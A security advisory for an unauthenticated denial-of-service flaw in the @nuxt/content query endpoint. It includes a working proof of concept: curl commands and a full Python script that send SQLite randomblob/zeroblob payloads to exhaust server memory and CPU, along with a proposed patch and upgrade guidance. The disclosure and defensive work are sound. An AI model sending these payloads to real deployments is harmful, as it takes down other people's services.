Vulnerability GHSA-xxrh-5hgg-gj4h

High Risk
HIGH RISK
CVSS Score: 7.5
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
12 hours ago
November 10, 2026 at 03:57 PM UTC
Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API
>=3.0.0 <3.15.2
>=3.0.0 <3.15.2

Summary

Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API

Details

Summary

The POST /__nuxt_content/:collection/query endpoint in @nuxt/content accepts an attacker-controlled sql field from the HTTP request body and executes it against a local SQLite database after passing it through an insufficient validator (assertSafeQuery). The validator only blocks a small set of SQL command keywords and does not reject expensive SQLite built-in functions such as randomblob(), zeroblob(), hex(), or length(). An unauthenticated remote attacker can craft a single request that forces SQLite to allocate hundreds of megabytes of memory and perform CPU-intensive work, causing server-wide denial of service. This endpoint is enabled by default for every collection and requires no authentication.

Details

The vulnerability spans three source files:

Route registration — src/module.ts:207-208

The Nuxt Content module registers a public HTTP POST handler for each configured collection at startup:

// src/module.ts:207-208
addServerHandler({
  route: `/__nuxt_content/${collection.name}/query`,
  handler: resolver.resolve('./runtime/api/query.post'),
})

No authentication middleware is attached; the route is reachable by any client.

Source (attacker input) — src/runtime/api/query.post.ts:7-9

// src/runtime/api/query.post.ts
const { sql } = await readBody(event)          // line 8  — attacker-controlled
assertSafeQuery(sql, collection)               // line 11 — insufficient validation
return loadDatabaseAdapter(conf).all(sql)      // line 18 — raw sql passed to sink

Inadequate sanitizer — src/runtime/internal/security.ts:55-63

if (where) {
  const noString = cleanupQuery(where, { removeString: true })
  if (noString.match(SQL_COMMANDS)) {          // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
    throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
  }
  // No rejection of function calls (randomblob, zeroblob, hex, length, …)
}

The denylist matches only six DDL/DML keywords. SQLite resource-consumption functions (randomblob, zeroblob, hex, length) are not keywords matched by the regex and therefore pass validation unconditionally.

Sink — src/runtime/internal/database.server.ts:26-28

all: async (sql, params = []) => {
  return db.prepare(sql).all(...params)        // executes the unmodified attacker sql
}

better-sqlite3's prepare().all() is a synchronous call that blocks the Node.js event loop for the entire duration of the SQLite query. A single malicious request therefore stalls all concurrent request handling.

Attack chain summary:

Attacker HTTP POST (sql field)
  → query.post.ts readBody()          [source]
  → assertSafeQuery() — BYPASS        [insufficient validation]
  → loadDatabaseAdapter().all(sql)    [propagation]
  → db.prepare(sql).all()             [sink — synchronous, blocks event loop]

PoC

Environment setup

git clone https://github.com/nuxt/content.git
cd content
git checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e
pnpm install
pnpm dev:prepare
cd test/fixtures/basic
pnpm dev --host 127.0.0.1 --port 3000

Step 1 — Establish baseline (safe query)

curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
  -X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
  -H 'content-type: application/json' \
  --data '{"sql":"SELECT * FROM _content_content WHERE (id = '"'"'1'"'"') ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~0.009s

Step 2 — Attack payload (randomblob variant)

curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
  -X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
  -H 'content-type: application/json' \
  --data '{"sql":"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) > 0) ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200  time=~2.25s  (~598 MB RSS during execution)

The payload passes assertSafeQuery() because the WHERE clause contains no blocked keywords. SQLite then:

  1. Allocates 200 MB of random bytes via randomblob(200000000)
  2. Hex-encodes the result to a 400 MB ASCII string via hex()
  3. Computes the string length via length()

Step 3 — Zeroblob variant (allocation-focused)

--data '{"sql":"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1"}'
# 1 GB allocation; may trigger OOM termination

Automated PoC (Docker)

# Build and run the reproduction container
docker build -f vuln-001/Dockerfile -t vuln001:latest \
  reports/github_web_211_nuxt__content
docker run -d -p 3000:3000 --name vuln001-container vuln001:latest

# Run the PoC script (requires Python 3, no third-party packages)
python3 vuln-001/poc.py --host 127.0.0.1 --port 3000

Dynamic reproduction result (phase2):

Metric Value
Baseline response time 0.0088 s
Attack response time 11.82 s
Slowdown ratio 1339×
HTTP status for attack 200 (not rejected)

The Node.js event loop was blocked for the full duration of each attack request, confirmed by zero concurrent request throughput during the attack.

Proposed patch — src/runtime/internal/security.ts

 const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
+const SQL_WHERE_ALLOWED_TOKENS = new Set(['AND', 'OR', 'IN', 'NOT', 'BETWEEN', 'LIKE', 'IS', 'NULL'])
 
     const noString = cleanupQuery(where, { removeString: true })
     if (noString.match(SQL_COMMANDS)) {
       throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
     }
+    const tokens = noString.match(/[A-Z_]\w*/gi) || []
+    if (tokens.some(token => !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) {
+      throw new Error('Invalid query: WHERE clause contains unsafe SQL expressions')
+    }
   }

Impact

This is an unauthenticated remote denial-of-service vulnerability. Any internet-accessible @nuxt/content application using the default SQLite/D1 adapter (i.e., the vast majority of deployments, since this is the default runtime) exposes the vulnerable endpoint without authentication at POST /__nuxt_content/<collection>/query.

Because better-sqlite3 executes queries synchronously and blocks the Node.js event loop, a single malicious request with a large randomblob() argument prevents the server from processing any other requests for the duration of that query. An attacker sending a continuous stream of such requests can sustain a complete denial of service with minimal bandwidth.

Impact scope:

  • Confidentiality: None — the attack does not exfiltrate data
  • Integrity: None — no data modification
  • Availability: High — complete service disruption for unauthenticated attackers with network access

All users of publicly deployed @nuxt/content v3 applications (SSR or server-side rendered static sites that retain the API route) are affected without any prerequisite authentication or prior knowledge of the application.

Reproduction artifacts

Dockerfile

# VULN-001: Unauthenticated SQLite Function DoS via @nuxt/content Content Query API
# Affects: @nuxt/content v3.15.1 (commit d8fed0c)
#
# Build context must be the parent directory (github_web_211_nuxt__content/):
#   docker build -f vuln-001/Dockerfile -t vuln001:latest .

FROM node:20-alpine

# Install build tools required for better-sqlite3 native compilation
RUN apk add --no-cache python3 make g++

WORKDIR /app

# Copy the vulnerable source files from the repo for audit reference
# These are the exact files that contain the vulnerable code paths
COPY repo/src/runtime/internal/security.ts    /app/reference/security.ts
COPY repo/src/runtime/api/query.post.ts       /app/reference/query.post.ts
COPY repo/src/runtime/internal/database.server.ts /app/reference/database.server.ts

# Copy the minimal reproduction server (JavaScript translation of the above)
COPY vuln-001/server.js /app/server.js

# Install Node.js dependencies
# better-sqlite3: same SQLite library used by @nuxt/content local SQLite adapter
RUN npm init -y && npm install [email protected]

EXPOSE 3000

CMD ["node", "server.js"]

poc.py

#!/usr/bin/env python3
"""
PoC: VULN-001 — Unauthenticated SQLite Function DoS via @nuxt/content Content Query API

Vulnerability: The POST /__nuxt_content/:collection/query endpoint reads an
attacker-supplied 'sql' field from the request body, passes it through
assertSafeQuery() in security.ts, then executes it via better-sqlite3.
assertSafeQuery() only rejects certain SQL command keywords
(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|$) but does NOT block SQLite
built-in functions such as randomblob(), zeroblob(), hex(), or length().

Attack payload: SELECT * FROM _content_content
                WHERE (length(hex(randomblob(100000000))) > 0)
                ORDER BY stem ASC LIMIT 1

This forces SQLite to:
  1. Allocate 100 MB of random bytes via randomblob(100000000)
  2. Hex-encode the result to a 200 MB ASCII string via hex()
  3. Compute the string length via length()

The request blocks the server thread for several seconds per request.
Repeated unauthenticated requests exhaust CPU and memory, causing DoS.

Affected: @nuxt/content v3.15.1 (commit d8fed0c)
Source:   src/runtime/internal/security.ts:55-63
          src/runtime/api/query.post.ts:8,11,18
          src/runtime/internal/database.server.ts:27
CVSS:     7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
"""

import argparse
import json
import sys
import time
import urllib.error
import urllib.request

DEFAULT_HOST = '127.0.0.1'
DEFAULT_PORT = 3000

# Time threshold: attack must be at least this many seconds slower than baseline
ATTACK_MIN_SECONDS = 0.5

# SQL payloads
SAFE_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (id = '1') "
    "ORDER BY stem ASC LIMIT 1"
)

# Malicious payload: passes assertSafeQuery() but forces expensive SQLite computation.
# randomblob(100_000_000) -> 100 MB allocation
# hex(...)               -> 200 MB hex string
# length(...)            -> string length computation
MALICIOUS_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (length(hex(randomblob(100000000))) > 0) "
    "ORDER BY stem ASC LIMIT 1"
)

# Zeroblob variant (allocation-focused, less CPU than hex):
ZEROBLOB_SQL = (
    "SELECT * FROM _content_content "
    "WHERE (zeroblob(500000000) IS NOT NULL) "
    "ORDER BY stem ASC LIMIT 1"
)


def post_query(host, port, sql, timeout=120):
    """Send POST /__nuxt_content/content/query and return (status, elapsed, body)."""
    payload = json.dumps({"sql": sql}).encode("utf-8")
    req = urllib.request.Request(
        f"http://{host}:{port}/__nuxt_content/content/query",
        data=payload,
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    t0 = time.monotonic()
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            elapsed = time.monotonic() - t0
            body = resp.read().decode("utf-8")
            return resp.status, elapsed, body
    except urllib.error.HTTPError as e:
        elapsed = time.monotonic() - t0
        body = e.read().decode("utf-8")
        return e.code, elapsed, body
    except Exception as e:
        elapsed = time.monotonic() - t0
        return None, elapsed, str(e)


def wait_for_server(host, port, retries=30, delay=1.0):
    """Poll until the server responds or timeout."""
    print(f"[*] Waiting for server at {host}:{port} ...")
    for attempt in range(1, retries + 1):
        try:
            urllib.request.urlopen(
                f"http://{host}:{port}/", timeout=2
            )
        except urllib.error.HTTPError:
            # Any HTTP response (including 404) means the server is up
            print(f"[+] Server is ready (attempt {attempt})")
            return True
        except Exception:
            pass
        time.sleep(delay)
    print(f"[!] Server did not become ready after {retries} attempts")
    return False


def main():
    parser = argparse.ArgumentParser(
        description="VULN-001 PoC: SQLite Function DoS via @nuxt/content query API"
    )
    parser.add_argument("--host", default=DEFAULT_HOST, help="Target host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: 3000)")
    parser.add_argument(
        "--no-wait",
        action="store_true",
        help="Skip server readiness check (useful when server is already running)",
    )
    args = parser.parse_args()

    host, port = args.host, args.port

    print("=" * 70)
    print("VULN-001: Unauthenticated SQLite Function DoS")
    print("Target: @nuxt/content v3.15.1 — POST /__nuxt_content/:collection/query")
    print("=" * 70)

    if not args.no_wait:
        if not wait_for_server(host, port):
            sys.exit(2)

    # ------------------------------------------------------------------
    # Step 1: Safe baseline query — validates endpoint is reachable
    # ------------------------------------------------------------------
    print()
    print("[STEP 1] Baseline safe query")
    print(f"  SQL: {SAFE_SQL}")
    status1, t1, body1 = post_query(host, port, SAFE_SQL)
    print(f"  Status: {status1}   Time: {t1:.4f}s")
    if status1 == 200:
        rows1 = json.loads(body1)
        print(f"  Rows returned: {len(rows1)}")
    else:
        print(f"  Response: {body1[:200]}")

    # ------------------------------------------------------------------
    # Step 2: Malicious payload — SQLite function DoS
    # ------------------------------------------------------------------
    print()
    print("[STEP 2] Malicious SQLite function payload")
    print(f"  SQL: {MALICIOUS_SQL}")
    print("  Explanation:")
    print("    randomblob(100000000) -> allocates 100 MB of random bytes")
    print("    hex(...)              -> encodes to 200 MB ASCII string")
    print("    length(...)           -> forces full evaluation before comparison")
    print("    assertSafeQuery() passes: no SQL_COMMANDS keyword found in WHERE")
    print("    Sink: better-sqlite3 db.prepare(sql).all() executes unconditionally")
    print()
    print("  Sending request ...")
    status2, t2, body2 = post_query(host, port, MALICIOUS_SQL)
    print(f"  Status: {status2}   Time: {t2:.4f}s")
    if status2 == 200:
        rows2 = json.loads(body2)
        print(f"  Rows returned: {len(rows2)}  (assertSafeQuery() did NOT reject this query)")
    else:
        print(f"  Response: {body2[:200]}")

    # ------------------------------------------------------------------
    # Step 3: Report
    # ------------------------------------------------------------------
    print()
    print("[RESULT]")
    print(f"  Baseline time  : {t1:.4f}s")
    print(f"  Attack time    : {t2:.4f}s")
    ratio = (t2 / t1) if t1 > 0 else float("inf")
    print(f"  Slowdown ratio : {ratio:.1f}x")
    print()

    accepted = status2 == 200
    slow_enough = t2 >= ATTACK_MIN_SECONDS

    if accepted and slow_enough:
        print("[PASS] VULNERABILITY CONFIRMED")
        print(f"  1. assertSafeQuery() ACCEPTED the malicious payload (no 400 error)")
        print(f"  2. SQLite executed randomblob(100000000); observed {t2:.4f}s execution time")
        print(f"  3. Time delta confirms resource exhaustion: {t2:.4f}s vs baseline {t1:.4f}s")
        print(f"  4. Unauthenticated attacker can chain requests to exhaust server CPU/memory")
        sys.exit(0)
    elif accepted and not slow_enough:
        print("[WARN] Payload was ACCEPTED but execution was faster than threshold")
        print(f"  accepted={accepted}, time={t2:.4f}s, threshold={ATTACK_MIN_SECONDS}s")
        print("  Try increasing the blob size in MALICIOUS_SQL (e.g. 200000000)")
        sys.exit(1)
    else:
        print(f"[FAIL] Unexpected result: accepted={accepted}, time={t2:.4f}s")
        print(f"  Response body: {body2[:300]}")
        sys.exit(1)


if __name__ == "__main__":
    main()

Affected versions

All @nuxt/content v3 releases before 3.15.2 are affected (>= 3.0.0, < 3.15.2). The report was reproduced against 3.15.1, but the same WHERE clause validation gap exists in every earlier v3 release; 3.0.0 performed no query validation at all.

Fully static (prerendered, no server) deployments are not affected.

Patches

Fixed in 3.15.2 (#3819): function calls are rejected in query WHERE clauses. Subsequent releases harden validation further — 3.16.1 removes a ReDoS in assertSafeQuery (#3851) and 3.16.2 only accepts WHERE clauses matching the exact output of the query builder (#3862, #3877). Upgrading to the latest version (>= 3.16.2) is recommended.

Workarounds

If you cannot upgrade, block or restrict access to POST /__nuxt_content/*/query at the proxy/WAF level, or prerender the site so the endpoint is not deployed.

Credits

Also independently reported by @Pig-Tail (GHSA-c739-vwm9-rgx3) and @maru1009 (as part of GHSA-wjh8-qcrm-wf29).

Impacted packages

Timeline

Published
12 hours ago
November 10, 2026 at 03:57 PM UTC
Fixed (3.15.2)
3 months ago
July 23, 2026 at 01:38 PM UTC
Last Modified
12 hours ago
November 10, 2026 at 04:15 PM UTC